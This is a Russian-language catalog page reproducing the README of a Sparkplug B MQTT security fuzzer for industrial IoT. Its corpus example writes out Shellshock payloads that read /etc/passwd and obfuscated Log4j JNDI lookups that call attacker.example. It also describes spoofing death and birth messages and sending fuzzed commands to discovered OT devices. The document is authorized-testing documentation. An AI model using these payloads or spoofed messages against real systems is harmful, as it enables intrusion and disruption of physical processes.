Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
sparkplugFuzzer — Fuzzer for the Sparkplug B IIoT protocol | Kitploit
Инструменты/GitHubGitHub/bishopfox/sparkplugfuzzer
Dynamic Analysis (Sandboxing)IoT SecurityVulnerability AnalysisSCADA/ICS SecurityFuzzingNetwork SecurityPenetration TestingAuthentication
GitHubbishopfox/sparkplugfuzzer

sparkplugFuzzer

Fuzzer for the Sparkplug B IIoT protocol

Репозиторий
12 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Sparkplug B MQTT Security Fuzzer

Инструмент для всесторонней оценки безопасности протокольных реализаций Sparkplug B MQTT. Фаззер систематически тестирует все поля протокола для всех 9 типов сообщений, обнаруживает активные устройства в сети и создает подробные журналы для анализа.

Ответственное использование

Этот инструмент отправляет искаженные, внедряющие и нарушающие протокол сообщения MQTT целевому брокеру. Запускайте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Брокеры Sparkplug B часто находятся в средах OT/ICS, где неожиданные полезные нагрузки могут нарушить физические процессы — считайте, что любая цель находится рядом с производственной средой, пока не доказано обратное.

Если вы обнаружите уязвимость в реализации Sparkplug B с помощью этого инструмента, пожалуйста, следуйте скоординированному раскрытию информации с затронутым поставщиком. Чтобы сообщить о проблеме безопасности в самом инструменте, см. SECURITY.md.

Содержание

  • Обзор
  • Предварительные требования
  • Установка
  • Быстрый старт
  • Использование
    • Параметры командной строки
    • Категории фаззинга
    • Примеры
  • Как это работает
    • Поток выполнения
    • Обнаружение сети
    • Оценка аутентификации
    • Целевой фаззинг
  • Запуск тестов
  • Вывод и анализ журналов
    • Формат журнала
    • Анализ результатов
  • Покрытие протокола
    • Типы сообщений
    • Типы данных
    • Покрытие полей
  • Архитектура

Обзор

Спецификация Sparkplug B определяет пространство имен тем и формат полезной нагрузки, построенные на MQTT и Google Protocol Buffers для сред промышленного Интернета вещей (IIoT). Этот фаззер оценивает безопасность и устойчивость реализаций Sparkplug B путем:

  • Тестирования всех 19 типов метрических данных с граничными значениями и условиями переполнения
  • Внедрения вредоносных строк (XSS, SQLi, строки формата, обход пути, внедрение команд)
  • Создания несоответствия типов между объявленными типами данных и фактическими полями значений protobuf
  • Нарушения порядка автомата состояний протокола (данные до рождения, двойные рождения, данные после смерти)
  • Повреждения сериализованных полезных нагрузок protobuf на бинарном уровне
  • Подделки сертификатов рождения/смерти для обнаруженных сетевых устройств
  • Фаззинга пространства имен тем MQTT с помощью специальных символов, вариантов регистра и структурных нарушений

Предварительные требования

  • Python 3.8+
  • MQTT Broker — целевая тестируемая система (например, Mosquitto, HiveMQ, EMQX или любой брокер, поддерживающий Sparkplug B)
  • Разрешение — этот инструмент предназначен только для авторизованного тестирования безопасности

Установка

На современных системах Debian/Ubuntu/Kali (системы PEP-668) --setup не может выполнить pip install в системный Python — сначала используйте виртуальное окружение или pipx. Рекомендуемый путь:```bash python3 -m venv .venv source .venv/bin/activate python3 sparkplug-fuzzer.py --setup

root@kitploit:~
Или запустите через `pipx run`, если вы предпочитаете не управлять виртуальным окружением вручную. На старых системах без принудительного применения PEP-668, простая команда `python3 sparkplug-fuzzer.py --setup` работает напрямую.

`--setup` сделает следующее:
1. Установит зависимости pip (`paho-mqtt`, `protobuf`)
2. Клонирует заданный тег репозитория [Eclipse Tahu](https://github.com/eclipse/tahu) (см. `TAHU_REF` в скрипте)
3. Скопирует вспомогательные модули `sparkplug_b.py` и `array_packer.py`
4. Скомпилирует `sparkplug_b.proto` в привязки Python (использует `protoc`, если доступен, иначе откатывается к `grpcio-tools`)
5. Очистит клон Tahu

После настройки ваша директория должна содержать:```
sparkplug-fuzzer.py     # The fuzzer
sparkplug_b.py          # Sparkplug B helper module (from Tahu)
array_packer.py         # Array packing helper (from Tahu)
sparkplug_b_pb2.py      # Generated protobuf bindings
requirements.txt        # Python dependencies
Ручная настройка (если --setup не работает)```bash pip install -r requirements.txt git clone https://github.com/eclipse/tahu.git cp tahu/python/core/sparkplug_b.py . cp tahu/python/core/array_packer.py . protoc --python_out=. sparkplug_b.proto rm -rf tahu ```

Быстрый старт```bash

python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer

root@kitploit:~
Это позволит:
1. Подключиться к брокеру на `localhost:1883`
2. Прослушивать 10 секунд для обнаружения существующих устройств Sparkplug
3. Установить фаззер как узел/устройство Sparkplug
4. Запустить все 12 категорий фаззинга (~635+ тестов)
5. Нацелиться на любые обнаруженные устройства с поддельными сообщениями
6. Записать результаты в `sparkplug_fuzz.jsonl`

## Использование

### Параметры командной строки```
python3 sparkplug-fuzzer.py [OPTIONS]

Категории фаззинга

Примеры

Запуск всех категорий с аутентификацией:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v

root@kitploit:~
**Передавайте учетные данные, не раскрывая их в `ps`:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local

# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -

Подключение через TLS:```bash

System trust store, default port 8883

python3 sparkplug-fuzzer.py -H broker.example.com --tls -v

Custom CA bundle

python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v

root@kitploit:~
**Пассивная оценка аутентификации + активный пробник записи:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v

Запускать только категории, связанные с инъекциями:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed

root@kitploit:~
**Расширенное обнаружение с медленным темпом (минимизация нагрузки на брокер):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5

Пользовательская идентификация группы/узла и файл журнала:```bash python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv

root@kitploit:~
**Отслеживайте трафик брокера в отдельном терминале:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'

Настройка в изолированной среде с предварительно склонированным репозиторием Tahu:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box

transfer ~/tahu to the air-gapped target, then on the target:

python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu

root@kitploit:~
**Макет вывода для каждого запуска:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl

# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2

Пользовательские корпусы строк

Встроенный STRING_FUZZ_VALUES охватывает классические категории инъекций (пустые/огромные строки, нулевые байты, строки формата, XSS, SQLi, обход путей, прототипное загрязнение). Однако в реальных задачах часто требуются вторичные полезные нагрузки, нацеленные на то, что потребляет данные брокера в нисходящем потоке — историки, передающие имена метрик через оболочку, Java-совместимые SCADA-хосты, передающие значения в log4j, приборные панели, отображающие имена тегов в HTML, и т.д.

Флаг --extra-string-payloads <FILE> добавляет дополнительный корпус к встроенным. Формат: одна полезная нагрузка на строку, UTF-8. Строки, содержащие только пробелы, сохраняются (часто намеренно во фраззинге); полностью пустые строки отбрасываются. Флаг добавляет к встроенному списку, а не заменяет его, поэтому существующее покрытие сохраняется.```bash

corpus.txt — Shellshock + Log4j JNDI prefixes

cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF

python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v

root@kitploit:~
Фаззер выводит `[+] Extra string payloads: loaded N from <path>` при запуске, и каждая полезная нагрузка передаётся через каждое место, где выполняется итерация `STRING_FUZZ_VALUES` — в первую очередь это категория `string`, но также и строковые варианты генератора несоответствия типов.

Жёсткие ограничения: размер файла 10 МБ, 10 000 полезных нагрузок. При необходимости отрегулируйте `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` в верхней части скрипта (если у вас есть достаточный запас времени выполнения).

## Примечания к выпуску v0.2

- Флаг `--output-dir` плюс автоматически создаваемый каталог по умолчанию `./sparkplug-runs/<UTC-ts>_<host>/` — каждый запуск попадает в свой собственный каталог, чтобы артефакты не пересекались между запусками.
- Флаг `--tahu-path` для `--setup` — указывает на локальный клон `eclipse/tahu` для изолированных тестовых сред, где исходящий `git clone` заблокирован. Локальный источник никогда не удаляется при очистке.
- Метки времени в консоли и JSONL принудительно установлены в UTC с явным суффиксом `Z`, чтобы перекрёстная корреляция с журналами брокера не требовала арифметики с часовыми поясами.
- Логгер `paho.mqtt` по умолчанию ограничен уровнем WARNING; виден на INFO при `-v`, DEBUG при `-vv`. Пакетная телеметрия клиента больше не заглушает сигнал фаззера.
- Тестовый набор pytest в `tests/` — 23 теста, охватывающих FuzzLogger, вспомогательные функции для тем, разрешение выходных путей и проверку `--tahu-path`. См. [Запуск тестов](#running-the-tests).

## Запуск тестов

Тестовый набор охватывает часть, не зависящую от сети (корректность логгера, построитель тем, разрешение выходных путей, разбор `--tahu-path`) и выполняется без установленного брокера, paho-mqtt или protobuf.```bash
pip install -r requirements-dev.txt
pytest tests/

Ожидается: 23 passed. Пути, зависящие от сети (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle), намеренно отложены до будущего уровня интеграционного тестирования с контейнеризованным брокером.

Как это работает

Поток выполнения```

  1. CONNECT Connect to MQTT broker with NDEATH as last-will-and-testament Subscribe to spBv1.0/# and STATE/# for discovery |
  2. DISCOVER Passively listen for Sparkplug traffic (configurable duration) Build map of groups, nodes, devices, and their metric definitions |
  3. ESTABLISH Publish fuzzer's own NBIRTH + DBIRTH to register as a valid node |
  4. FUZZ Run selected categories sequentially Each category generator yields (topic, payload, description) tuples Every publish logged via centralized _publish() method Configurable delay between messages |
  5. TARGET For each discovered node/device: - Spoof NDEATH (kill node) - Spoof NBIRTH (impersonate node) - Spoof DDEATH/DBIRTH (kill/impersonate device) - Send DCMD/NCMD with fuzzed metric values |
  6. REPORT Print summary (total TX/RX counts by category) Close log file, disconnect
root@kitploit:~
### Network Discovery

Во время фазы обнаружения фуззер подписывается на `spBv1.0/#` и прослушивает весь трафик Sparkplug. Компонент `DeviceTracker` анализирует наблюдаемые сообщения для построения карты активной сети:

- **NBIRTH** сообщения раскрывают граничные узлы и их определения метрик (имя, псевдоним, тип данных)
- **DBIRTH** сообщения раскрывают устройства и их схемы метрик
- **NDEATH/DDEATH** сообщения отслеживают состояние жизненного цикла узлов/устройств
- **STATE** сообщения раскрывают хост-приложения и их статус онлайн/офлайн

Эта карта используется в фазе целенаправленного фаззинга для отправки контекстно-релевантных атак на реальные устройства с их фактическими схемами метрик.

### Authentication Assessment

Когда фуззер подключается без `-u/-P` (и `MQTT_USERNAME`/`MQTT_PASSWORD` не установлены), он выводит статус аутентификации брокера только на основе пассивного обнаружения. Это создает одно событие `AUTH_ASSESSMENT` в логе и печатную сводку:

| Сигнал | Что означает | Как определяется |
|---|---|---|
| `anon_connect_accepted` | Брокер принял CONNECT без учетных данных | Собственное CONNECT фуззера было успешным |
| `anon_subscribe_accepted` | Брокер пересылает `spBv1.0/#` / `STATE/#` анонимным клиентам | Поступило хотя бы одно RX-сообщение в течение окна прослушивания |
| `anon_publish_accepted` | Брокер принимает PUBLISH от анонимных клиентов | Устанавливается только если передан `--probe-anon-write`; QoS=1 зонд + ожидание PUBACK |
| `unauth_endpoints` | Узлы / устройства / хост-приложения наблюдаемы без аутентификации | Каждый объект на обнаруженной карте сети (аутентификация никогда не производилась) |

Зонд QoS=1 является опциональным, поскольку он переходит от пассивного к активному. При QoS=0 брокер молча отбрасывает сообщения, которые он бы отклонил, поэтому подтверждение возможности записи требует чтения PUBACK.

MQTT/Sparkplug не имеют аутентификации на уровне конечных точек — аутентификация является заботой брокера. Таким образом, «конечные точки наблюдаемы без аутентификации» сообщается как список *целей, достижимых без затрат*, а не как свойство самих конечных точек.

### Targeted Fuzzing

После систематического фаззинга инструмент нацеливается на каждое обнаруженное устройство с помощью:

1. **Поддельные уведомления о смерти** — публикует NDEATH/DDEATH, чтобы обмануть подписчиков, заставив их думать, что устройства ушли в офлайн
2. **Поддельные сертификаты рождения** — публикует NBIRTH/DBIRTH, чтобы выдать себя за обнаруженные узлы/устройства
3. **Внедрение команд** — отправляет сообщения NCMD/DCMD с граничными значениями для каждой известной метрики, проверяя, проверяет ли цель входящие команды
4. **Команды перерождения** — отправляет `Node Control/Rebirth` NCMD, чтобы заставить устройства перепубликовать свои рождения

## Output and Log Analysis

### Log Format

Файл лога использует формат JSON-lines (`.jsonl`) — один JSON-объект на строку, подходит для анализа с помощью `jq`, Python или любого инструмента, работающего с JSON.

Полезные нагрузки размером более 64 КиБ не встраиваются шестнадцатерично; вместо этого `payload_hex` содержит `sha256:<digest>+len=<n>`, чтобы лог оставался ограниченным для очень больших фазз-кейсов. `payload_len` присутствует всегда.

**TX record** (outbound fuzz message):```json
{
  "ts": "2026-04-10T15:30:00.123456Z",
  "dir": "TX",
  "case_id": "BOUNDARY-0042",
  "category": "boundary",
  "topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
  "payload_hex": "0800120a0a06...",
  "payload_len": 28,
  "payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
  "description": "Boundary Int32 = 2147483647 (int_value)"
}

RX-запись (входящее сообщение из сети):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }

root@kitploit:~
**Запись события** (системное событие):```json
{
  "ts": "2026-04-10T15:29:50.000000Z",
  "dir": "EVENT",
  "event": "DISCOVERY_COMPLETE",
  "details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}

Анализ результатов

Подсчет случаев по категориям:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn

root@kitploit:~
**Извлеките все случаи строковой инъекции:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl

Список всех обнаруженных устройств:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl

root@kitploit:~
**Найти случаи, которые вызвали отключения брокера:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl

Выполнить оценку аутентификации:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl

root@kitploit:~
**Список конечных точек, доступных без аутентификации:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl

Получить количество TX за время (для анализа скорости):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c

root@kitploit:~
**Экспортировать все темы, опубликованные в:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u

Анализ с помощью Python:```python import json

with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]

tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]

print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")

Find any decode errors in received messages (possible crash indicators)

errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")

root@kitploit:~
## Охват протоколов

### Типы сообщений

Тестируются все 9 типов сообщений Sparkplug B:

| Тип сообщения | Шаблон топика | Описание | Использование фаззера |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Сертификат рождения узла | Устанавливает присутствие фаззера; подделывается для обнаруженных узлов; тесты порядка |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Уведомление о смерти узла | MQTT last-will; подделывается для обнаруженных узлов; тесты порядка |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Сертификат рождения устройства | Устанавливает устройство фаззера; подделывается для обнаруженных устройств; тесты порядка |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Уведомление о смерти устройства | Подделывается для обнаруженных устройств; тесты порядка; тесты сирот |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Обновление данных узла | Граничные значения; порядковые номера; тесты порядка |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Обновление данных устройства | Основное средство для большинства категорий фаззинга |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Команда узла | Целевой фаззинг (команды перезагрузки); тесты сирот |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Команда устройства | Целевой фаззинг обнаруженных метрик устройства; тесты сирот |
| STATE | `STATE/{host_id}` | Состояние хост-приложения (JSON) | Внедрение некорректного JSON |

### Типы данных

Все 19 типов данных метрик Sparkplug B тестируются с типовыми граничными значениями:

| Код | Тип | Поле Protobuf | Проверенные граничные значения |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (переполнение), -129 (исчерпание) |
| 2 | Int16 | int_value | 0, -32768, 32767, переполнение/исчерпание |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, переполнение/исчерпание |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, переполнение |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, макс, мин, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, макс, мин, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False; также тестируется с сырыми целыми значениями (0, 1, 2, 255) |
| 12 | String | string_value | Пустая, длинная (до 64КБ), полезные нагрузки инъекций |
| 13 | DateTime | long_value | Эпоха, макс, далёкое будущее/прошлое |
| 14 | Text | string_value | Те же полезные нагрузки инъекций, что и для String |
| 15 | UUID | string_value | Пустая, корректная, некорректный формат, инъекции |
| 16 | DataSet | dataset_value | Нарушения структуры через категорию dataset |
| 17 | Bytes | bytes_value | Пустая, нулевые байты, случайные, большие |
| 18 | File | bytes_value | Пустая, сигнатурные байты, большие |
| 19 | Template | template_value | Неопределённые ссылки, шаблоны-сироты |

### Поля покрытия

Фаззер покрывает 87+ уникальных путей полей protobuf, включая:

- **Корневые поля полезной нагрузки**: timestamp, seq, uuid, body, metrics
- **Поля метрик**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties и все варианты value oneof
- **Поля MetaData**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, рекурсивное propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, все варианты DataSetValue
- **Template**: version, template_ref, is_definition, вложенные метрики, parameters

## Архитектура

Фаззер представляет собой один Python-файл, организованный в следующие компоненты:```
sparkplug-fuzzer.py
    |
    +-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
    |       Type definitions and fuzz value tables
    |
    +-- FuzzLogger
    |       JSON-lines file logging + console output
    |       Protobuf payload decoding
    |
    +-- DeviceTracker
    |       Passive network discovery
    |       Tracks groups, nodes, devices, metrics
    |
    +-- PayloadBuilder
    |       Valid payload construction (sparkplug_b helpers)
    |       Raw payload construction (sparkplug_b_pb2 direct)
    |       Binary corruption (truncate, flip, append)
    |
    +-- 12 Fuzz Generators
    |       Each is a Python generator yielding (topic, bytes, desc)
    |       Covers boundary, string, type, seq, timestamp, alias,
    |       orphan, ordering, recursive, dataset, malformed, topic
    |
    +-- SparkplugFuzzer
    |       Orchestration: connect, discover, fuzz, target, report
    |       Centralized publish with logging
    |       Auto-reconnect on disconnect
    |
    +-- CLI (argparse) + main()
            Argument parsing and entry point

Двухуровневая конструкция полезной нагрузки является ключевым проектным решением:

  • Высокий уровень (PayloadBuilder.node_birth(), и т.д.) использует вспомогательные функции sparkplug_b для построения валидных, правильно сформированных полезных нагрузок. Используется для установления присутствия и целенаправленного спуфинга.
  • Низкий уровень (PayloadBuilder.raw_payload(), corrupt_bytes()) напрямую манипулирует protobuf-объектами sparkplug_b_pb2 или сырыми байтами, минуя проверки. Используется для намеренно повреждённых полезных нагрузок, которые тестируют обработку ошибок и граничные случаи парсера.

Лицензия

Этот проект лицензирован по лицензии MIT — см. LICENSE для получения полного текста.

Сторонние компоненты

sparkplug-fuzzer.py --setup загружает следующие компоненты из Eclipse Tahu во время установки и копирует их в рабочий каталог:

  • sparkplug_b.py — вспомогательный модуль Sparkplug B
  • array_packer.py — вспомогательный модуль упаковки массивов
  • sparkplug_b.proto — определение Protocol Buffer (используется для генерации sparkplug_b_pb2.py)

Eclipse Tahu распространяется по лицензии Apache, версия 2.0. Ни один из исходных файлов Tahu не распространяется вместе с этим репозиторием. См. NOTICE для полной атрибуции.

Скачать инструмент
ОпцияПо умолчаниюОписание
-H, --hostlocalhostИмя хоста или IP-адрес MQTT-брокера
-p, --port1883 (или 8883 с --tls)Порт MQTT-брокера
-u, --usernameНетИмя пользователя MQTT (также читает переменную окружения MQTT_USERNAME)
-P, --passwordНетПароль MQTT (также читает MQTT_PASSWORD; передайте - для чтения из stdin без эха)
--tlsвыклПодключение через TLS; порт по умолчанию становится 8883, если -p не указан
--cafileНетПакет CA для проверки сертификата TLS-сервера
--insecureвыклПропустить проверку имени хоста/сертификата TLS (только для тестирования)
-g, --groupSparkplug B DevicesИдентификатор группы Sparkplug, под которым регистрируется фаззер
-n, --nodeFuzzNodeИдентификатор граничного узла Sparkplug для фаззера
-d, --deviceFuzzDeviceИдентификатор устройства Sparkplug для фаззера
-c, --categoriesallСписок категорий фаззинга, разделенных пробелами
--discovery-time10Секунды пассивного прослушивания для обнаружения сети
--delay0.1Задержка в секундах между сообщениями фаззинга
--probe-anon-writeвыклВо время обнаружения отправьте одну публикацию QoS=1, чтобы подтвердить, принимает ли брокер неаутентифицированный PUBLISH
-l, --logsparkplug_fuzz.jsonlИмя выходного файла журнала (относительные пути помещаются внутрь --output-dir; абсолютные пути используются как есть)
--output-dir./sparkplug-runs/<UTC-ts>_<host>/Каталог вывода для каждого запуска. Создается при отсутствии.
-v, --verbose0Увеличивает подробность консоли (-v = info, -vv = debug). -vv также показывает пропуски генератора фаззинга, а ограниченный логгер paho.mqtt переключается на INFO/DEBUG с подробностью.
--setup—Установить все зависимости и выйти
--tahu-path—Путь к локальному клону eclipse/tahu (или его каталогу python/core). Используется --setup в изолированных средах вместо git clone.
--extra-string-payloads—Путь к файлу с дополнительными полезными нагрузками для внедрения строк (по одной на строку, UTF-8). Добавляется к встроенному STRING_FUZZ_VALUES; не заменяет их. Максимум 10 МБ / 10 000 полезных нагрузок. См. Пользовательские строковые корпуса.
КатегорияОписаниеПриблизительное кол-во случаев
boundaryМин/макс/переполнение для всех 19 числовых типов данных, is_null со значениями, комбинации флагов~200
stringПолезные нагрузки внедрения (XSS, SQLi, строки формата, обход пути, внедрение команд, нулевые байты) в полях String, Text, UUID, MetaData и сообщениях STATE~100
type_mismatchОбъявленный тип данных vs неправильное поле значения protobuf, недопустимые коды типов данных, несколько полей oneof~150
sequenceПропуски последовательности, дубликаты, обратный порядок, переполнение, несоответствие bdSeq между NBIRTH/NDEATH~20
timestampНоль, максимум uint64, далекое будущее/прошлое, несоответствие временных меток метрики и полезной нагрузки, экстремумы DateTime~15
aliasДублирующиеся псевдонимы для разных метрик, экстремальные значения псевдонимов, неопределенные псевдонимы в сообщениях данных~15
orphanДанные/команды, нацеленные на несуществующие устройства, узлы, группы; неопределенные ссылки на шаблоны~20
orderingНарушения состояния протокола: данные до рождения, двойные рождения, данные после смерти, неправильный порядок рождения~15
recursiveВложенные цепочки PropertySet (глубина 1-100), несоответствия длины ключ/значение, вариации PropertySetList~15
datasetНесоответствие количества столбцов, несоответствие элементов строк, нарушения типов, пустые/огромные наборы данных, специальные символы в именах столбцов~25
malformedПовреждение двоичного protobuf: усечение, перевороты битов, случайные байты, слишком длинные varint, неправильные классы сообщений~30
topicВарианты регистра, неправильные версии, лишние/отсутствующие слеши, специальные символы, подстановочные знаки в строках темы~30